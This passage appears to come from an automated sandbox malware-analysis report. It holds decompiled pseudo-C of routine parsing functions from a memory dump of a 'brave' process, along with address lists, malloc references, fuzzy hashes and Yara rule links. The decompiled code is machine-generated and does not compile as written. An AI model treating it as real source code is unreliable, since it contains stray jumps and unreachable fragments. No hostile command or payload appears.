				E00007FF77FF77BEE4DD0();
				_a40 = _t239;
				_t325 = _t239;
				goto 0x7bee5f58;
				r12d =  *((intOrPtr*)(__rbx + 0x28));
				 *(__rbx + 0x18) =  &(_t325[1]);
				E00007FF77FF77BEE89F0(__rbx);
				if ( *( *(__rbx + 0x18)) == 0x49) goto 0x7bee6584;
				 *(__rbx + 0x18) = _t325;
				_t241 = _a40;
				 *((intOrPtr*)(__rbx + 0x28)) = r12d;
				 *((long long*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48));
				goto 0x7bee5d30;
				_t337 = _a40;
				if (_t337 == 0) goto 0x7bee5c20;
				_t299 =  *((intOrPtr*)(__rbx + 0x38));
				if (_t299 -  *((intOrPtr*)(__rbx + 0x3c)) >= 0) goto 0x7bee5c20;
				 *((long long*)( *((intOrPtr*)(__rbx + 0x30)) + _t166 * 8)) = _t337;
				 *((long long*)(__rbx + 0x38)) = _t299 + 1;
				 *((long long*)(_t241 - 0x77)) =  *((long long*)(_t241 - 0x77)) - 1;
				_t315 =  *((intOrPtr*)(__rbx + 0x4c));
				 *((long long*)(__rbx + 0x4c)) = 1;
				 *(__rbx + 0x18) = _t337 + 3;
				_t161 = E00007FF77FF77BEE7F20(_t241, __rbx);
				 *((long long*)(__rbx + 0x4c)) = _t315;
				_t326 = _t241;
				if (_t241 != 0) goto 0x7bee6386;
				goto 0x7bee5c20;
				asm("o16 nop [eax+eax]");
				_push(_t315);
				_push(_t326);
				_push(__rbx);
				_t242 =  *(__rbx + 0x18);
				if (sil == 0) goto 0x7bee66c8;
				 *(__rbx + 0x18) =  &(_t242[1]);
				r10d =  *_t242 & 0x000000ff;
				if (sil != 0) goto 0x7bee66d0;
				r8d = 0x45;
				asm("o16 nop [eax+eax]");
				_t194 =  *((intOrPtr*)( *((intOrPtr*)(0x7c194820 + (_t161 + _t161 * 2) * 8)))) - r10b;
				if (_t194 == 0) goto 0x7bee6680;
				if (_t194 <= 0) goto 0x7bee66c0;
				r8d = _t161;
				if (_t166 != r8d) goto 0x7bee6648;
				return _t161;
			}

0x7ff77bee6121
0x7ff77bee6121
0x7ff77bee6127
0x7ff77bee6137
0x7ff77bee613b
0x7ff77bee6143
0x7ff77bee6146
0x7ff77bee614b
0x7ff77bee6151
0x7ff77bee6159
0x7ff77bee615b
0x7ff77bee615e
0x7ff77bee6161
0x7ff77bee6165
0x7ff77bee616a
0x7ff77bee6177
0x7ff77bee617c
0x7ff77bee618a
0x7ff77bee6193
0x7ff77bee61a1
0x7ff77bee61a7
0x7ff77bee61b6
0x7ff77bee61bc
0x7ff77bee61c5
0x7ff77bee61cb
0x7ff77bee61e2
0x7ff77bee61e6
0x7ff77bee61e9
0x7ff77bee61f0
0x7ff77bee61f7
0x7ff77bee61fb
0x7ff77bee6207
0x7ff77bee620d
0x7ff77bee6224
0x7ff77bee6228
0x7ff77bee622b
0x7ff77bee6232
0x7ff77bee6239
0x7ff77bee623d
0x7ff77bee6249
0x7ff77bee624f
0x7ff77bee6266
0x7ff77bee626a
0x7ff77bee6272
0x7ff77bee6275
0x7ff77bee627b
0x7ff77bee627f
0x7ff77bee6288
0x7ff77bee628e
0x7ff77bee62a5
0x7ff77bee62a9
0x7ff77bee62b1
0x7ff77bee62b4
0x7ff77bee62ba
0x7ff77bee62be
0x7ff77bee62c7
0x7ff77bee62cd
0x7ff77bee62e4
0x7ff77bee62e8
0x7ff77bee62f0
0x7ff77bee62f3
0x7ff77bee62f9
0x7ff77bee62fd
0x7ff77bee6306
0x7ff77bee630c
0x7ff77bee631c
0x7ff77bee6323
0x7ff77bee6327
0x7ff77bee632f
0x7ff77bee6332
0x7ff77bee6338
0x7ff77bee633c
0x7ff77bee6340
0x7ff77bee634e
0x7ff77bee6350
0x7ff77bee6356
0x7ff77bee635f
0x7ff77bee6369
0x7ff77bee636d
0x7ff77bee6375
0x7ff77bee6378
0x7ff77bee637e
0x7ff77bee6383
0x7ff77bee6386
0x7ff77bee638d
0x7ff77bee6393
0x7ff77bee639a
0x7ff77bee639e
0x7ff77bee63b1
0x7ff77bee63b6
0x7ff77bee63c0
0x7ff77bee63c6
0x7ff77bee63dd
0x7ff77bee63e1
0x7ff77bee63e9
0x7ff77bee63ec
0x7ff77bee63f2
0x7ff77bee63f6
0x7ff77bee63ff
0x7ff77bee6405
0x7ff77bee641c
0x7ff77bee6420
0x7ff77bee6428
0x7ff77bee642b
0x7ff77bee6431
0x7ff77bee6435
0x7ff77bee643e
0x7ff77bee6444
0x7ff77bee645b
0x7ff77bee645f
0x7ff77bee6467
0x7ff77bee646a
0x7ff77bee6470
0x7ff77bee6474
0x7ff77bee6480
0x7ff77bee6485
0x7ff77bee6493
0x7ff77bee6498
0x7ff77bee64a2
0x7ff77bee64a8
0x7ff77bee64bf
0x7ff77bee64c3
0x7ff77bee64cb
0x7ff77bee64ce
0x7ff77bee64d4
0x7ff77bee64d8
0x7ff77bee64dc
0x7ff77bee64eb
0x7ff77bee64f0
0x7ff77bee64f8
0x7ff77bee6501
0x7ff77bee6507
0x7ff77bee6512
0x7ff77bee6517
0x7ff77bee651e
0x7ff77bee6522
0x7ff77bee6537
0x7ff77bee653c
0x7ff77bee6541
0x7ff77bee6544
0x7ff77bee6550
0x7ff77bee6557
0x7ff77bee655e
0x7ff77bee656a
0x7ff77bee656c
0x7ff77bee6570
0x7ff77bee6575
0x7ff77bee657c
0x7ff77bee657f
0x7ff77bee6584
0x7ff77bee658c
0x7ff77bee6592
0x7ff77bee6598
0x7ff77bee65a8
0x7ff77bee65b2
0x7ff77bee65be
0x7ff77bee65cd
0x7ff77bee65d0
0x7ff77bee65da
0x7ff77bee65de
0x7ff77bee65e3
0x7ff77bee65e6
0x7ff77bee65ec
0x7ff77bee65f2
0x7ff77bee65f7
0x7ff77bee6600
0x7ff77bee6601
0x7ff77bee6602
0x7ff77bee6607
0x7ff77bee6614
0x7ff77bee661e
0x7ff77bee6626
0x7ff77bee662d
0x7ff77bee6633
0x7ff77bee6642
0x7ff77bee6666
0x7ff77bee6669
0x7ff77bee666b
0x7ff77bee666d
0x7ff77bee6673
0x7ff77bee667e

APIs

malloc.MSVCRT ref: 00007FF77BF12752

Memory Dump Source

Source File: 00000006.00000002.526228332.00007FF77BEE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77BEE0000, based on PE: true

Associated: 00000006.00000002.526115903.00007FF77BEE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526704610.00007FF77BF13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526747487.00007FF77BF15000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544027884.00007FF77C191000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544165368.00007FF77C193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544308885.00007FF77C199000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544444297.00007FF77C1A1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544509704.00007FF77C1A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544524373.00007FF77C1A6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544611365.00007FF77C1A7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff77bee0000_brave.jbxd

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: 62f7f7d96c119b323b1a604ab716844560484498dcb84276d39eb1fe205ecc0e
Instruction ID: c81c5c82161f41938f415133ba7933b8e734248e09c37d45af9beff0f35b874c
Opcode Fuzzy Hash: 62f7f7d96c119b323b1a604ab716844560484498dcb84276d39eb1fe205ecc0e
Instruction Fuzzy Hash: 5E315A33929B4581E320AF19E8913A9B7E0EB84798F844535D68C073B9DFBCD284C794

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF77BEE5CC8 Relevance: 1.3, APIs: 1, Instructions: 75
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF77FF77BEE5CC8(signed int __edx, void* __rbx, void* __r8, long long _a40) {
				void* _t20;
				signed int _t21;
				signed int _t22;
				long long _t31;
				long long _t32;
				intOrPtr _t36;
				long long _t44;
				intOrPtr _t46;

				_t22 = __edx;
				_t36 =  *((intOrPtr*)(__rbx + 0x28));
				_t44 = (__edx << 5) + 0x7c194fe0;
				if (_t36 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x7bf12696;
				_t31 = (_t21 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t31 + 4)) = 0;
				 *((long long*)(__rbx + 0x28)) = _t36 + 1;
				 *((long long*)(_t31 + 0x10)) = _t44;
				 *_t31 = 0x27;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) +  *((intOrPtr*)(_t44 + 8));
				 *((long long*)(__rbx + 0x18)) = __r8 + 1;
				goto 0x7bee5c22;
				_t32 = _t31;
				_t20 = E00007FF77FF77BEE6EE0(_t32, __rbx);
				_a40 = _t32;
				if (_t32 == 0) goto 0x7bee5c20;
				_t46 =  *((intOrPtr*)(__rbx + 0x38));
				if (_t46 -  *((intOrPtr*)(__rbx + 0x3c)) >= 0) goto 0x7bee5c20;
				 *((long long*)( *((intOrPtr*)(__rbx + 0x30)) + _t22 * 8)) = _t32;
				 *((long long*)(__rbx + 0x38)) = _t46 + 1;
				return _t20;
			}

0x7ff77bee5cc8
0x7ff77bee5cd2
0x7ff77bee5cdd
0x7ff77bee5ce3
0x7ff77bee5cf7
0x7ff77bee5cfb
0x7ff77bee5d03
0x7ff77bee5d06
0x7ff77bee5d0d
0x7ff77bee5d13
0x7ff77bee5d16
0x7ff77bee5d1a
0x7ff77bee5d1f
0x7ff77bee5d23
0x7ff77bee5d28
0x7ff77bee5d33
0x7ff77bee5d39
0x7ff77bee5d3f
0x7ff77bee5d4f
0x7ff77bee5d58
0x7ff77bee5d65

APIs

malloc.MSVCRT ref: 00007FF77BF12752

Memory Dump Source

Source File: 00000006.00000002.526228332.00007FF77BEE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77BEE0000, based on PE: true

Associated: 00000006.00000002.526115903.00007FF77BEE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526704610.00007FF77BF13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526747487.00007FF77BF15000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544027884.00007FF77C191000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544165368.00007FF77C193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544308885.00007FF77C199000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544444297.00007FF77C1A1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544509704.00007FF77C1A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544524373.00007FF77C1A6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544611365.00007FF77C1A7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff77bee0000_brave.jbxd

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: 00a880454b521401a86ad773260605acbd956c8bbfdab654cc990f59ca647a00
Instruction ID: c0eb723ba9fe3d29100c6377e5c51c1163a3d7213cf00313f38248a11d60f842
Opcode Fuzzy Hash: 00a880454b521401a86ad773260605acbd956c8bbfdab654cc990f59ca647a00
Instruction Fuzzy Hash: B23145B3A25B4482E7209F08F891369B7A0FB88799F954634C68C073A8DF7DD184C790

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF77BEE1670 Relevance: 1.3, APIs: 1, Instructions: 70COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 00007FF77BEE172F

Memory Dump Source

Source File: 00000006.00000002.526228332.00007FF77BEE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77BEE0000, based on PE: true

Associated: 00000006.00000002.526115903.00007FF77BEE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526704610.00007FF77BF13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526747487.00007FF77BF15000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544027884.00007FF77C191000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544165368.00007FF77C193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544308885.00007FF77C199000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544444297.00007FF77C1A1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544509704.00007FF77C1A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544524373.00007FF77C1A6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544611365.00007FF77C1A7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff77bee0000_brave.jbxd

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: 56ffb6fcdf18bd66fdf2ccb9a5892d4477cea22dc62a2577cb9a8c0790782509
Instruction ID: 27509f13c587e84f71c0bc278b960f27dd922a7a2dd66020cd7b41472d05796e
Opcode Fuzzy Hash: 56ffb6fcdf18bd66fdf2ccb9a5892d4477cea22dc62a2577cb9a8c0790782509
Instruction Fuzzy Hash: 27210C6393D7C145F7225B7CA4013B9AFA1A79AB44FC94270DF8D0675AEB6CD184C321

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF77BEE63C0 Relevance: 1.3, APIs: 1, Instructions: 67
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E00007FF77FF77BEE63C0(void* __rbx, signed char* _a40) {
				signed int _t74;
				signed int _t76;
				void* _t89;
				long long* _t94;
				long long* _t97;
				signed char* _t100;
				long long* _t103;
				signed char* _t104;
				signed char* _t106;
				signed char* _t107;
				intOrPtr _t129;
				intOrPtr _t131;
				intOrPtr _t133;
				intOrPtr _t136;
				intOrPtr _t140;
				long long _t150;
				signed char* _t153;
				signed char* _t154;
				long long _t163;

				_t129 =  *((intOrPtr*)(__rbx + 0x28));
				if (_t129 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x7bf12670;
				_t94 = (_t76 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t94 + 4)) = 0;
				 *((long long*)(__rbx + 0x28)) = _t129 + 1;
				 *_t94 = 0x27;
				 *((long long*)(_t94 + 0x10)) = 0x7c195340;
				 *((long long*)(__rbx + 0x48)) =  *((long long*)(__rbx + 0x48)) + 9;
				_t131 =  *((intOrPtr*)(__rbx + 0x28));
				if (_t131 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x7bf12715;
				_t97 = (_t76 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t97 + 4)) = 0;
				 *((long long*)(__rbx + 0x28)) = _t131 + 1;
				 *_t97 = 0x27;
				 *((long long*)(_t97 + 0x10)) = 0x7c195400;
				 *((long long*)(__rbx + 0x48)) =  *((long long*)(__rbx + 0x48)) + 0x11;
				_t133 =  *((intOrPtr*)(__rbx + 0x28));
				if (_t133 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x7bf126ef;
				_t100 = (_t76 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t100 + 4)) = 0;
				 *((long long*)(__rbx + 0x28)) = _t133 + 1;
				 *_t100 = 0x27;
				 *((long long*)(_t100 + 0x10)) = 0x7c1953a0;
				 *((long long*)(__rbx + 0x48)) =  *((long long*)(__rbx + 0x48)) + 7;
				E00007FF77FF77BEE5BC0();
				r9d = 0;
				E00007FF77FF77BEE4DD0();
				_a40 = _t100;
				_t136 =  *((intOrPtr*)(__rbx + 0x28));
				if (_t136 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x7bf12683;
				_t103 = (_t76 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t103 + 4)) = 0;
				 *((long long*)(__rbx + 0x28)) = _t136 + 1;
				 *_t103 = 0x27;
				 *((long long*)(_t103 + 0x10)) = 0x7c1953e0;
				 *((long long*)(__rbx + 0x48)) =  *((long long*)(__rbx + 0x48)) + 8;
				goto 0x7bee5c22;
				E00007FF77FF77BEE6EE0(_t103, __rbx);
				_a40 = _t103;
				if (_t103 == 0) goto 0x7bee5c20;
				if ( *_t103 != 0x18) goto 0x7bee5d39;
				goto 0x7bee5c22;
				goto 0x7bee6051;
				_t104 = _t103 + 1;
				 *(__rbx + 0x18) = _t104;
				E00007FF77FF77BEE89F0(__rbx);
				E00007FF77FF77BEE4DD0();
				_a40 = _t104;
				_t153 = _t104;
				goto 0x7bee5f58;
				r12d =  *((intOrPtr*)(__rbx + 0x28));
				 *(__rbx + 0x18) =  &(_t153[1]);
				E00007FF77FF77BEE89F0(__rbx);
				if ( *( *(__rbx + 0x18)) == 0x49) goto 0x7bee6584;
				 *(__rbx + 0x18) = _t153;
				_t106 = _a40;
				 *((intOrPtr*)(__rbx + 0x28)) = r12d;
				 *((long long*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48));
				goto 0x7bee5d30;
				_t163 = _a40;
				if (_t163 == 0) goto 0x7bee5c20;
				_t140 =  *((intOrPtr*)(__rbx + 0x38));
				if (_t140 -  *((intOrPtr*)(__rbx + 0x3c)) >= 0) goto 0x7bee5c20;
				 *((long long*)( *((intOrPtr*)(__rbx + 0x30)) + _t76 * 8)) = _t163;
				 *((long long*)(__rbx + 0x38)) = _t140 + 1;
				 *((long long*)(_t106 - 0x77)) =  *((long long*)(_t106 - 0x77)) - 1;
				_t150 =  *((intOrPtr*)(__rbx + 0x4c));
				 *((long long*)(__rbx + 0x4c)) = 1;
				 *(__rbx + 0x18) = _t163 + 3;
				_t74 = E00007FF77FF77BEE7F20(_t106, __rbx);
				 *((long long*)(__rbx + 0x4c)) = _t150;
				_t154 = _t106;
				if (_t106 != 0) goto 0x7bee6386;
				goto 0x7bee5c20;
				asm("o16 nop [eax+eax]");
				_push(_t150);
				_push(_t154);
				_push(__rbx);
				_t107 =  *(__rbx + 0x18);
				if (sil == 0) goto 0x7bee66c8;
				 *(__rbx + 0x18) =  &(_t107[1]);
				r10d =  *_t107 & 0x000000ff;
				if (sil != 0) goto 0x7bee66d0;
				r8d = 0x45;
				asm("o16 nop [eax+eax]");
				_t89 =  *((intOrPtr*)( *((intOrPtr*)(0x7c194820 + (_t74 + _t74 * 2) * 8)))) - r10b;
				if (_t89 == 0) goto 0x7bee6680;
				if (_t89 <= 0) goto 0x7bee66c0;
				r8d = _t74;
				if (_t76 != r8d) goto 0x7bee6648;
				return _t74;
			}

0x7ff77bee63c0
0x7ff77bee63c6
0x7ff77bee63dd
0x7ff77bee63e1
0x7ff77bee63e9
0x7ff77bee63ec
0x7ff77bee63f2
0x7ff77bee63f6
0x7ff77bee63ff
0x7ff77bee6405
0x7ff77bee641c
0x7ff77bee6420
0x7ff77bee6428
0x7ff77bee642b
0x7ff77bee6431
0x7ff77bee6435
0x7ff77bee643e
0x7ff77bee6444
0x7ff77bee645b
0x7ff77bee645f
0x7ff77bee6467
0x7ff77bee646a
0x7ff77bee6470
0x7ff77bee6474
0x7ff77bee6480
0x7ff77bee6485
0x7ff77bee6493
0x7ff77bee6498
0x7ff77bee64a2
0x7ff77bee64a8
0x7ff77bee64bf
0x7ff77bee64c3
0x7ff77bee64cb
0x7ff77bee64ce
0x7ff77bee64d4
0x7ff77bee64d8
0x7ff77bee64dc
0x7ff77bee64eb
0x7ff77bee64f0
0x7ff77bee64f8
0x7ff77bee6501
0x7ff77bee6507
0x7ff77bee6512
0x7ff77bee6517
0x7ff77bee651e
0x7ff77bee6522
0x7ff77bee6537
0x7ff77bee653c
0x7ff77bee6541
0x7ff77bee6544
0x7ff77bee6550
0x7ff77bee6557
0x7ff77bee655e
0x7ff77bee656a
0x7ff77bee656c
0x7ff77bee6570
0x7ff77bee6575
0x7ff77bee657c
0x7ff77bee657f
0x7ff77bee6584
0x7ff77bee658c
0x7ff77bee6592
0x7ff77bee6598
0x7ff77bee65a8
0x7ff77bee65b2
0x7ff77bee65be
0x7ff77bee65cd
0x7ff77bee65d0
0x7ff77bee65da
0x7ff77bee65de
0x7ff77bee65e3
0x7ff77bee65e6
0x7ff77bee65ec
0x7ff77bee65f2
0x7ff77bee65f7
0x7ff77bee6600
0x7ff77bee6601
0x7ff77bee6602
0x7ff77bee6607
0x7ff77bee6614
0x7ff77bee661e
0x7ff77bee6626
0x7ff77bee662d
0x7ff77bee6633
0x7ff77bee6642
0x7ff77bee6666
0x7ff77bee6669
0x7ff77bee666b
0x7ff77bee666d
0x7ff77bee6673
0x7ff77bee667e

APIs

malloc.MSVCRT ref: 00007FF77BF12752

Memory Dump Source

Source File: 00000006.00000002.526228332.00007FF77BEE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77BEE0000, based on PE: true

Associated: 00000006.00000002.526115903.00007FF77BEE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526704610.00007FF77BF13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526747487.00007FF77BF15000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544027884.00007FF77C191000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544165368.00007FF77C193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544308885.00007FF77C199000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544444297.00007FF77C1A1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544509704.00007FF77C1A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544524373.00007FF77C1A6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544611365.00007FF77C1A7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff77bee0000_brave.jbxd

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: 37f3f2d3625911fd641b2de8ad5874d53c48ca85b7324cd949d13aaa1983ce2d
Instruction ID: f7dd10df9c805dc89526285b828d40a34c250cdc8662d3ec33737ed30dac8926
Opcode Fuzzy Hash: 37f3f2d3625911fd641b2de8ad5874d53c48ca85b7324cd949d13aaa1983ce2d
Instruction Fuzzy Hash: D5312573525B48C2E7209F08F8953AAB7A0FB98798F554625D2CC073B9CFBDD1848790

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF77BEE64A2 Relevance: 1.3, APIs: 1, Instructions: 64
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E00007FF77FF77BEE64A2(void* __rbx, signed char* _a40) {
				signed int _t49;
				signed int _t51;
				void* _t61;
				long long* _t66;
				signed char* _t67;
				signed char* _t69;
				signed char* _t70;
				intOrPtr _t91;
				intOrPtr _t95;
				long long _t102;
				signed char* _t105;
				signed char* _t106;
				long long _t115;

				_t91 =  *((intOrPtr*)(__rbx + 0x28));
				if (_t91 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x7bf12683;
				_t66 = (_t51 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t66 + 4)) = 0;
				 *((long long*)(__rbx + 0x28)) = _t91 + 1;
				 *_t66 = 0x27;
				 *((long long*)(_t66 + 0x10)) = 0x7c1953e0;
				 *((long long*)(__rbx + 0x48)) =  *((long long*)(__rbx + 0x48)) + 8;
				goto 0x7bee5c22;
				E00007FF77FF77BEE6EE0(_t66, __rbx);
				_a40 = _t66;
				if (_t66 == 0) goto 0x7bee5c20;
				if ( *_t66 != 0x18) goto 0x7bee5d39;
				goto 0x7bee5c22;
				goto 0x7bee6051;
				_t67 = _t66 + 1;
				 *(__rbx + 0x18) = _t67;
				E00007FF77FF77BEE89F0(__rbx);
				E00007FF77FF77BEE4DD0();
				_a40 = _t67;
				_t105 = _t67;
				goto 0x7bee5f58;
				r12d =  *((intOrPtr*)(__rbx + 0x28));
				 *(__rbx + 0x18) =  &(_t105[1]);
				E00007FF77FF77BEE89F0(__rbx);
				if ( *( *(__rbx + 0x18)) == 0x49) goto 0x7bee6584;
				 *(__rbx + 0x18) = _t105;
				_t69 = _a40;
				 *((intOrPtr*)(__rbx + 0x28)) = r12d;
				 *((long long*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48));
				goto 0x7bee5d30;
				_t115 = _a40;
				if (_t115 == 0) goto 0x7bee5c20;
				_t95 =  *((intOrPtr*)(__rbx + 0x38));
				if (_t95 -  *((intOrPtr*)(__rbx + 0x3c)) >= 0) goto 0x7bee5c20;
				 *((long long*)( *((intOrPtr*)(__rbx + 0x30)) + _t51 * 8)) = _t115;
				 *((long long*)(__rbx + 0x38)) = _t95 + 1;
				 *((long long*)(_t69 - 0x77)) =  *((long long*)(_t69 - 0x77)) - 1;
				_t102 =  *((intOrPtr*)(__rbx + 0x4c));
				 *((long long*)(__rbx + 0x4c)) = 1;
				 *(__rbx + 0x18) = _t115 + 3;
				_t49 = E00007FF77FF77BEE7F20(_t69, __rbx);
				 *((long long*)(__rbx + 0x4c)) = _t102;
				_t106 = _t69;
				if (_t69 != 0) goto 0x7bee6386;
				goto 0x7bee5c20;
				asm("o16 nop [eax+eax]");
				_push(_t102);
				_push(_t106);
				_push(__rbx);
				_t70 =  *(__rbx + 0x18);
				if (sil == 0) goto 0x7bee66c8;
				 *(__rbx + 0x18) =  &(_t70[1]);
				r10d =  *_t70 & 0x000000ff;
				if (sil != 0) goto 0x7bee66d0;
				r8d = 0x45;
				asm("o16 nop [eax+eax]");
				_t61 =  *((intOrPtr*)( *((intOrPtr*)(0x7c194820 + (_t49 + _t49 * 2) * 8)))) - r10b;
				if (_t61 == 0) goto 0x7bee6680;
				if (_t61 <= 0) goto 0x7bee66c0;
				r8d = _t49;
				if (_t51 != r8d) goto 0x7bee6648;
				return _t49;
			}

0x7ff77bee64a2
0x7ff77bee64a8
0x7ff77bee64bf
0x7ff77bee64c3
0x7ff77bee64cb
0x7ff77bee64ce
0x7ff77bee64d4
0x7ff77bee64d8
0x7ff77bee64dc
0x7ff77bee64eb
0x7ff77bee64f0
0x7ff77bee64f8
0x7ff77bee6501
0x7ff77bee6507
0x7ff77bee6512
0x7ff77bee6517
0x7ff77bee651e
0x7ff77bee6522
0x7ff77bee6537
0x7ff77bee653c
0x7ff77bee6541
0x7ff77bee6544
0x7ff77bee6550
0x7ff77bee6557
0x7ff77bee655e
0x7ff77bee656a
0x7ff77bee656c
0x7ff77bee6570
0x7ff77bee6575
0x7ff77bee657c
0x7ff77bee657f
0x7ff77bee6584
0x7ff77bee658c
0x7ff77bee6592
0x7ff77bee6598
0x7ff77bee65a8
0x7ff77bee65b2
0x7ff77bee65be
0x7ff77bee65cd
0x7ff77bee65d0
0x7ff77bee65da
0x7ff77bee65de
0x7ff77bee65e3
0x7ff77bee65e6
0x7ff77bee65ec
0x7ff77bee65f2
0x7ff77bee65f7
0x7ff77bee6600
0x7ff77bee6601
0x7ff77bee6602
0x7ff77bee6607
0x7ff77bee6614
0x7ff77bee661e
0x7ff77bee6626
0x7ff77bee662d
0x7ff77bee6633
0x7ff77bee6642
0x7ff77bee6666
0x7ff77bee6669
0x7ff77bee666b
0x7ff77bee666d
0x7ff77bee6673
0x7ff77bee667e

APIs

malloc.MSVCRT ref: 00007FF77BF12752

Memory Dump Source

Source File: 00000006.00000002.526228332.00007FF77BEE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77BEE0000, based on PE: true

Associated: 00000006.00000002.526115903.00007FF77BEE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526704610.00007FF77BF13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526747487.00007FF77BF15000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544027884.00007FF77C191000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544165368.00007FF77C193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544308885.00007FF77C199000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544444297.00007FF77C1A1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544509704.00007FF77C1A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544524373.00007FF77C1A6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544611365.00007FF77C1A7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff77bee0000_brave.jbxd

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: 72a28a4e1bc0948299e3cccf8a3d13fd9d7aa53636f7362034fbfa0315eaaf2c
Instruction ID: ad66e017e38835400b15767508ea1067e2d2985ed0a13438320f3b3dd1609f87
Opcode Fuzzy Hash: 72a28a4e1bc0948299e3cccf8a3d13fd9d7aa53636f7362034fbfa0315eaaf2c
